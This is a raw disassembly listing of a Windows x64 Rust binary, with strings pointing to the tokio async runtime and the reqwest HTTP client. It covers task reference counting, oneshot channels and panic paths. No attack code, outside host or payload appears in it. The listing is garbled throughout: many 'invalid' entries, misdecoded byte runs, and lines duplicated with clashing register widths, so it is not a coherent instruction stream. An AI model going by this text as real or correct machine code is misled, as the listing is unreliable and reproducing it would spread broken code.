add byte [rax], al
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x1400c3617
clc
add dword [rsi + rdi + 0xf], esi
push rdi
test byte [rbp - 0x749c8a40], 5
jne case.0x1400aaf64.57
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne case.0x1400aaf64.57
invalid
mov eax, dword [0x14017d2b4]
pushfq
or eax, dword [rax]
invalid
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
ret 0x8d49
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
add al, byte [rax]
xchg al, dl
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x210bf
add al, byte [rax]
add al, byte [rax]
mov rbx, rcx
mov rcx, rax
invalid
shr eax, 0xc4
call fcn.1400d3ad0
mov rcx, rbx
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
add al, 1
add byte [rax - 0x77], cl
fld dword [rcx - 0x3a]
xchg byte [rax], ah
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc2
invalid
ret 0x100f
movups xmm6, xmmword [rax + 0xf0]
add byte [rax], al
mov qword [rax + 0xf0], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov dword [rax + 0xf8], edi
mov qword [rax + 0xf8], rdi
mov dword [rax + 0xf8], edi
lea rdx, [rsp + 0x40]
call fcn.1400c3f10
or byte [rax], al
invalid
or byte [rax], al
add byte [rbx + 0xb9c610d], cl
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
and eax, 0x58
add byte [rax], al
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x1400c36a1
invalid
add dword [rbp + rsi - 0x7b], esi
xor eax, 0x4b75c985
test ecx, ecx
leave
jne 0x1400c36bb
mov ecx, dword [0x14017d2b4]
pushfq
or eax, dword [rax]
mov rdx, qword gs:[0x58]
and eax, 0x58
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
invalid
invalid
add byte [rax], al
mov rdi, qword [rdx + rcx*8]
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
adc byte [rdx], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x2102f
adc byte [rdx], al
invalid
adc byte [rdx], al
add byte [rcx + 0x438e8c3], cl
mov ebx, eax
call fcn.1400d3ad0
add al, byte [rax]
mov ebx, eax
call fcn.1400d3ad0
add al, 1
add byte [rcx + 0x2087c6d8], cl
xchg dword [rax], esp
mov eax, ebx
mov byte [rdi + 0x120], 1
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov ecx, dword [0x14017d2b4]
or eax, 0x65000b9c
mov rdx, qword [0x58]
and eax, 0x58
or eax, dword [rax]
mov rdx, qword gs:[0x58]
and eax, 0x58
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
mov ecx, dword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
lea rdi, [rsi + 0x20]
and byte [rax + rax*8 + 0x93840f], al
test al, al
je 0x1400c375a
xchg ebx, eax
add byte [rax], al
add byte [rax], al
mov rcx, rsi
add byte [rax], al
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
invalid
lea rcx, [0x140174c38]
lea ecx, [0x140174c38]
pop rdi
adc eax, 0x6348000b
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
mov ecx, dword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
add eax, ebp
invalid
xchg ebx, eax
add al, byte [rax]
add eax, ebp
sub edx, dword [rbx - 0x38b7fffe]
invalid
invalid
rol al, 0xff
invalid
add al, byte [rax]
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
clc
invalid
clc
invalid
jbe 0x1400c381c
adc dword [rcx], eax
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400c36e0.0
add byte [rax], al
add byte [rax], al
mov rcx, rsi
int1
call 0x1400c3b20
jmp case.0x1400c36e0.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x50], 4
push rax
add al, 0
add byte [rax], al
lea rdx, [rsp + 0x50]
mov rcx, rdi
stc
stc
call fcn.1400c3be0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x58], 1
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x60], 0
mov dword [rsp + 0x60], 0
mov qword [rsp + 0x70], rax
jmp 0x1400c3781
mov qword [rsp + 0x50], 4
mov dword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400c3be0
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x68], 0
and al, 0x68
add byte [rax], al
add byte [rax], al
and al, 0x68
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x50], 3
lea rdx, [rsp + 0x50]
lea edx, [rsp + 0x50]
lea edx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400c3be0
mov rcx, rsi
call fcn.1400c3d80
movaps xmm6, xmmword [rsp + 0x2f0]
add rsp, 0x308
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x1400c3b3d
lea rcx, [rsi + 0x20]
call fcn.140068e50
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x1400c3b69
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
test byte [rax], 0
add byte [rax - 0x75], cl
mov gs, eax
add al, byte [rax]
add bh, bh
push rax
add byte [rax], al
test rax, rax
je 0x1400c3ed5
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x10]
invalid
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
bnd call fcn.1400ec8c0
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ec8c0
cmp rax, 1
mov eax, 2
add byte [rax], al
add byte [rax], al
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x1400c3e69
jne 0x1400c3e2f
mov rcx, rsi
add rsp, 0x2f0
pop rsi
jmp 0x1400c3b20
nop
add rsp, 0x2f0
pop rsi
ret
lea ecx, str.assertion_failed:__prev.is_complete__
lea r8, [0x14014abc0]
insd dword [rdi], dx
or byte [rax], al
mov edx, 0x25
call fcn.1401046f0
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov dword [rsp + 0x30], eax
lea rax, [fcn.140012c90]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.current:___sub:_
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 2
mov dword [rsp + 0x68], 2
mov dword [rsp + 0x68], 2
lea rdx, [0x14014ac08]
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rax, str.waker_missing
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
int3
add byte [rax - 0x77], cl
xlatb
mov rsi, rcx
movzx eax, byte [rcx + 0x298]
test eax, eax
je 0x1400c404b
add byte [rax], al
add byte [rax], al
cmp eax, 3
jne 0x1400c43d9
mov rax, qword [rsi + 0x288]
mov r14, qword [rsi + 0x290]
mov dh, 0x90
add al, byte [rax]
add byte [rax - 0x75], cl
invalid
mov dh, 0x90
add al, byte [rax]
add byte [rax - 0x75], cl
sbb byte [rbx - 0x7bf0fdc5], al
cmp dword [rbx], 2
je 0x1400c40a4
lea rcx, [rsp + 0x20]
cmp dword [rbx], 2
je 0x1400c40a4
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
fimul dword [rcx - 0x77]
clc
call fcn.1400ba690
mov rbx, qword [rsp + 0x20]
mov ebx, dword [rsp + 0x20]
mov ebx, dword [rsp + 0x20]
cmp rbx, 4
jne 0x1400c40e6
jo 0x1400c3f75
add byte [rax], al
add byte [rbp - 0x75], cl
mov r15, qword ss:[rdi]
mov r14, qword [r14]
mov r15, qword [rdi]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
mov ecx, dword [0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400c3fd0
test eax, eax
jne 0x1400c428a
add al, byte [rax]
invalid
mov eax, dword [0x14017d2b4]
xchg ebx, eax
or eax, dword [rax]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
lea edx, [0x1400e46c0]
lea edx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
or eax, dword [rax]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0x11c]
mov dh, 0x81
sbb al, 1
add byte [rax], al
mov dh, 0x81
sbb al, 1
add byte [rax], al
movzx ebx, byte [rcx + 0x11d]
mov ecx, ebx
test al, al
je 0x1400c4002
add dword [rax], eax
add byte [rcx + 0x74c084d9], cl
or eax, dword [rbx + rbx*8 + 0x39f840f]
fisttp dword [rdi]
invalid
lahf
add eax, dword [rax]
invalid
test bl, bl
je case.0x14009a63c.159
add eax, dword [rax]
invalid
fisttp dword [rdi]
test byte [rdi - 0x72fffffd], bl
add eax, dword [rax]
add byte [rbp + 0x158bff4b], cl
lodsb al, byte [rsi]
xchg edx, eax
or eax, dword [rax]
mov r8, qword gs:[0x58]
add eax, dword [rax]
add byte [rbp + 0x158bff4b], cl
lodsb al, byte [rsi]
xchg edx, eax
lea ecx, [rbx - 1]
mov edx, dword [0x14017d2b4]
or eax, dword [rax]
mov r8, qword gs:[0x58]
and eax, 0x58
mov rdx, qword [r8 + rdx*8]
mov byte [rdx + 0x11d], cl
test al, al
sete bpl
test r14, r14
je 0x1400c4298
outsb dx, byte [rsi]
add al, byte [rax]
invalid
outsb dx, byte [rsi]
add al, byte [rax]
add byte [rcx - 0x75], cl
xor byte [rax - 0x627af0fc], r13b
add dword [rax], eax
add byte [rax + 0x66850f08], ch
test al, 8
jne 0x1400c42a4
test al, 8
je case.0x140094a12.203
add byte [rax], al
jmp 0x1400c4327
mov rax, qword [r14 + 0x30]
test al, 4
jne 0x1400c41d3
test al, 8
jne 0x1400c42a4
test al, 8
je case.0x140094a12.203
add byte [rax], al
add byte [rax], al
jmp 0x1400c4327
mov byte [rsi + 0x299], 1
add byte [rcx], al
lea r14, [rsi + 0x140]
mov rax, qword [rsi + 0x138]
cmp byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x75], cl
xchg byte [rax], bh
cmp byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x140], rax
cmp byte [rcx], al
add byte [rax], al
mov qword [rsi + 0x140], rax
add dword [rax], eax
add byte [rax - 0x73], cl
sahf
add qword [rax], rax
add byte [rax], al
invalid
invalid
lea rbx, [rsi + 0x148]
add byte [rax], al
mov r8d, 0x138
cmp byte [rcx], al
add byte [rax], al
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsi + 0x280]
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x280], rbx
mov qword [rsi + 0x288], rax
mov qword [rsi + 0x290], r14
cmp dword [rbx], 2
jne 0x1400c3f57
mov rax, qword [rbx + 8]
mov qword [rbx + 8], 0
test rax, rax
je 0x1400c43e5
mov qword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
sub byte [rax - 0x77], cl
and al, 0x28
lea rcx, [rsp + 0xb8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
out dx, eax
add eax, dword [rax]
out dx, eax
add eax, dword [rax]
mov ebx, 3
jmp case.0x140093752.224
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0xb8]
lea ecx, [rsp + 0xb8]
lea ecx, [rsp + 0xb8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
add byte [rax], al
add al, ch
imul esi
add eax, dword [rax]
cmp rbx, 5
je 0x1400c43a8
invalid
add al, byte [rax]
add byte [rax], al
movabs al, byte [0x48248c8d48000002]
add dword [rax], eax
add byte [rax - 0x73], cl
lea rdx, [rsp + 0xb8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
add byte [rax], al
lea rcx, [rsp + 0x148]
lea rdx, [rsp + 0xb8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x299], 0
mov rdi, qword [rsi + 0x140]
test rdi, rdi
je 0x1400c43cd
add byte [rax], al
add byte [rax], al
lea r14, [rdi + 0x38]
cmp dword [rdi + 0x38], 4
je 0x1400c414c
mov rcx, r14
call fcn.1400c0130
mov qword [rdi + 0x38], rbx
lea rbx, [rdi + 0x40]
lea rdx, [rsp + 0x148]
add qword [rax], rax
add byte [rcx - 0x48], al
nop
add byte [rax], al
add byte [rax - 0x77], cl
fld1
mov ebp, esi
add eax, dword [rax]
add qword [rax], rax
add byte [rcx - 0x48], al
nop
add byte [rax], al
add byte [rax - 0x77], cl
fld1
mov ebp, esi
add eax, dword [rax]
mov rax, qword [rdi + 0x30]
nop
mov r15, rax
test r15b, 4
jne 0x1400c418b
mov rcx, r15
or rcx, 2
mov rax, r15
lock cmpxchg qword [rdi + 0x30], rcx
jne 0x1400c4170
mov eax, r15d
mov eax, edi
and eax, 5
cmp eax, 1
jne 0x1400c41a1
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + 0x10]
invalid
test r15b, 4
jne 0x1400c424f
mov qword [rsp + 0x20], 4
lock dec qword [rdi]
jne 0x1400c41c2
mov rcx, rdi
call fcn.1400c00b0
cmp dword [rsp + 0x20], 4
je 0x1400c41d3
invalid
or cl, byte [rax - 0x73]
and al, 0x20
call fcn.1400c0130
lea rcx, [rsi + 0x148]
call fcn.1400c32f0
cmp byte [rsi + 0x299], 0
inc dword [rax + 0x299be]
add byte [rax], al
je 0x1400c423f
mov rdi, qword [rsi + 0x140]
test rdi, rdi
je 0x1400c423f
mov rax, qword [rdi + 0x30]
nop dword [rax + rax]
mov rcx, rax
test cl, 4
jne 0x1400c421a
add cl, byte [rax - 0x77]
enter 0x48f0, 0xf
mov cl, 0x57
xor byte [rbp - 0x1a], dh
and ecx, 5
cmp ecx, 1
jne 0x1400c422d
add eax, 0x7501f983
or ecx, dword [rax - 0x75]
stc
add dword [rbp + 0xb], esi
mov rax, qword [rdi + 0x20]
and byte [r8 - 0x75], r9b
sub r15b, r15b
push rax
adc al, dh
dec qword [rdi]
and byte [r8 - 0x75], r9b
sub r15b, r15b
push rax
adc al, dh
dec qword [rdi]
jne 0x1400c423f
mov byte [rsi + 0x299], 0
mov cl, 1
xor eax, eax
jmp case.0x14009a63c.160
mov rax, qword [r14]
mov qword [r14], 4
cmp rax, 4
je 0x1400c43fd
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x28]
mov r8d, 0x90
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lock dec qword [rdi]
je 0x1400c41ba
invalid
invalid
invalid
invalid
jmp 0x1400c41c2
xor ebx, ebx
mov bpl, 1
test r14, r14
test esi, esi
test esi, esi
jne 0x1400c402a
xchg edx, eax
std
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140104a40
pushfq
invalid
add al, 0
xchg ebp, eax
invalid
pushfq
invalid
add al, 0
mov rcx, qword [rdi]
mov rdx, qword [rcx + 8]
mov edx, dword [rcx + 8]
mov edx, dword [rcx + 8]
cmp rdx, qword [r14 + 0x18]
cmp edx, dword [rsi + 0x18]
jne 0x1400c42be
mov rcx, qword [rcx]
mov ecx, dword [rcx]
cmp rcx, qword [r14 + 0x10]
je 0x1400c403e
mov rax, qword [r14 + 0x30]
xor byte [rsi + 0x66], r12b
nop word cs:[rax + rax]
nop dword [rax + rax]
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [r14 + 0x30], rcx
ror dword [rax - 0x7d], 0xe1
div eax
cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c42d0
test al, 4
jne 0x1400c43c2
test ebx, ebx
add byte [rax], al
invalid
add al, 0xf
test ebx, ebx
add byte [rax], al
add byte [rcx - 0x75], cl
adc byte [rcx - 0x75], r9b
mov ecx, dword [rsi + 0x18]
invalid
mov rax, qword [r14 + 0x10]
mov rcx, qword [r14 + 0x18]
mov ecx, dword [rsi + 0x18]
mov ecx, dword [rsi + 0x18]
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x75], cl
mov rax, qword [rdi]
mov rax, qword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], rdx
mov rax, qword [r14 + 0x30]
xor byte [rsi + 0xf], r12b
invalid
add byte [rax], r8b
xor byte [rsi + 0xf], r12b
invalid
mov rcx, rax
or rcx, 8
lock cmpxchg qword [r14 + 0x30], rcx
cmpxchg qword [r14 + 0x30], rcx
ror dword [rax - 0x7d], 0xc9
or al, dh
cmpxchg qword [r14 + 0x30], rcx
jne 0x1400c4310
test al, 4
jne 0x1400c41d3
test bpl, bpl
test ch, ch
jne 0x1400c43a8
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je case.0x1400970a3.169
add dword [rcx + rsi - 0x7b], esi
sal byte [rbp + 0x59], 0x8b
test eax, eax
jne 0x1400c43a8
mov eax, dword [0x14017d2b4]
add eax, 0xb8f5f
invalid
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rdi, qword [rcx + rax*8]
add byte [rax], al
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x20350
add al, byte [rax]
add al, byte [rax]
call fcn.1400d3ad0
mov byte [rdi + 0x120], 1
add dword [rax], eax
add byte [rcx], al
test dword [rax], 0x2087c600
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], bl
jmp 0x1400c43a8
mov rax, qword [r15]
mov rcx, qword [r15 + 8]
call qword [rax + 0x10]
mov cl, 3
mov al, 1
mov byte [rsi + 0x298], cl
add rsp, 0x1d8
add byte [rbx + 0x5d], bl
cwde
add al, byte [rax]
add byte [rax - 0x7f], cl
invalid
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
pop r15
ret
lock or qword [r14 + 0x30], 8
jmp 0x1400c41d3
dec dword [rax - 0x73]
or eax, 0x794dc
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140104a40
add byte [rax - 0x73], cl
or eax, 0x7b7e0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_blockingclient.rsthread_not_dropped_yet
call fcn.140104c30
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
add byte [rdx + 0x23], bh
sub al, 0xb3
invalid
add byte [rdx + 0x23], bh
and eax, dword [rax]
add byte [rax], al
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_synconeshot.rscalled_after_complete
call fcn.140104a40
add ah, cl
push r14
push rsi
push rdi
push rbx
sub rsp, 0x308
movaps xmmword [rsp + 0x2f0], xmm6
add byte [rax], al
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x1400c444a
mov rcx, rax
and rcx, 0xfffffffffffffff8
and ecx, 0xfffffff8
ror dword [rax - 0x7d], 0xe1
clc
and ecx, 0xfffffff8
or rcx, 1
mov edx, eax
ret 0xeac0
add eax, 0xf001e280
add eax, esi
cmpxchg qword [rsi], rcx
ret 0xeac0
add eax, esi
cmpxchg qword [rsi], rcx
je 0x1400c4475
test al, 4
je 0x1400c46ad
add byte [rax], al
add byte [rax], al
test al, 3
je case.0x14009f75c.127
cmp rax, 0x3f
jbe 0x1400c46c5
add al, byte gs:[rax]
invalid
add al, byte gs:[rax]
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
setb dl
setb dl
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x1400c444a
movzx eax, dl
lea rcx, [0x140174c48]
add byte [rax + 0x63], cl
add al, 0x81
add byte [rax + 0x63], cl
add al, 0x81
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x48], rax
cmp dword [rsi + 0x30], 3
jae 0x1400c46dd
sub eax, dword [rdx]
add byte [rax], al
sub eax, dword [rdx]
add byte [rax], al
lea rcx, [rsi + 0x30]
mov rdi, qword [rsi + 0x28]
jle case.0x1400aadb0.79
mov eax, dword [0x14017d2b4]
hlt
lea ecx, [rbx]
or eax, dword [rax]
jle case.0x1400aadb0.79
hlt
or eax, dword [rax]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
invalid
add byte [rax - 0x75], cl
add al, 0xc2
invalid
ret 0xb60f
movzx eax, byte [rax + 0x120]
mov dh, 0x80
and byte [rcx], al
add byte [rax], al
cmp eax, 1
je 0x1400c4517
invalid
xorps xmm6, xmm6
xorps xmm6, xmm6
test eax, eax
jne 0x1400c4543
mov eax, dword [0x14017d2b4]
invalid
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rax*8]
lea rax, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
adc eax, 0x201bf
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ret 0x8d49
adc eax, 0x201bf
add dword [rdx], eax
add byte [rax - 0x77], cl
mov ebx, ecx
mov rbx, rcx
mov ebx, ecx
mov rcx, rax
call fcn.1400d3ad0
invalid
cmc
add byte [rax], al
mov rcx, rbx
mov byte [r14 + 0x120], 1
mov byte [rsi + 0x120], 1
invalid
mov byte [rsi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xb8d9705], ecx
mov eax, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
add byte [rax - 0x39], cl
xor al, 0
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
mov dword [rax + 0xf0], 1
lock add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 0xf8], rdi
mov eax, 0xf8
add byte [rax], al
add byte [rax - 0x73], cl
push rsp
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
and al, 0x40
call fcn.1400c3f10
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
dec dword [rbx + 0xb8d610d]
add byte [rbp + 0x48], ah
mov rdx, qword [0x58]
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
stc
invalid
stc
add dword [rbp + rsi - 0x7b], esi
je 0x1400c45a1
test ecx, ecx
je 0x1400c45a1
test ecx, ecx
jne 0x1400c45bb
mov ecx, dword [0x14017d2b4]
or eax, dword [rax]
mov rdx, qword gs:[0x58]
mov rdi, qword [rdx + rcx*8]
add byte [rax], al
add byte [rax - 0x75], cl
cmp al, 0xca
lea rcx, [rdi + 0xd0]
lea ecx, [rdi + 0xd0]
add byte [rax], al
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [rdi + 0x120], 1
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0xb8d0d0d], ecx
lea ecx, [rbx]
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
lea ecx, [rbx]
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
or al, 0xca
movups xmmword [rcx + 0xf0], xmm6
add byte [rax], al
add byte [rax - 0x73], cl
jle 0x1400c45df
lea rdi, [rsi + 0x20]
test al, al
je 0x1400c4653
invalid
mov word [rax], es
add byte [rax], al
mov rcx, rsi
mov ecx, esi
call fcn.1400e7430
add al, byte cs:[rax]
add byte [rdi], cl
mov dh, 0xc0
movzx eax, al
lea rcx, [0x140174c58]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
or dword [rax + 1], 0x48e0ffc8
add eax, ecx
enter 0xffffffffffffe0ff, 0x48
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
bnd call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
rol al, 0xff
invalid
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400c4715
adc dword [rcx], eax
add byte [rax], al
clc
invalid
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x1400c45e0.0
add byte [rax], al
add byte [rax], al
mov rcx, rsi
call fcn.1400c4930
jmp case.0x1400c45e0.0
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x50], 4
push rax
add al, 0
add byte [rax], al
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.1400c3be0
invalid
dec dword [rax - 0x75]
sub byte [rax - 0x39], r9b
and al, 0x58
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x60], 0
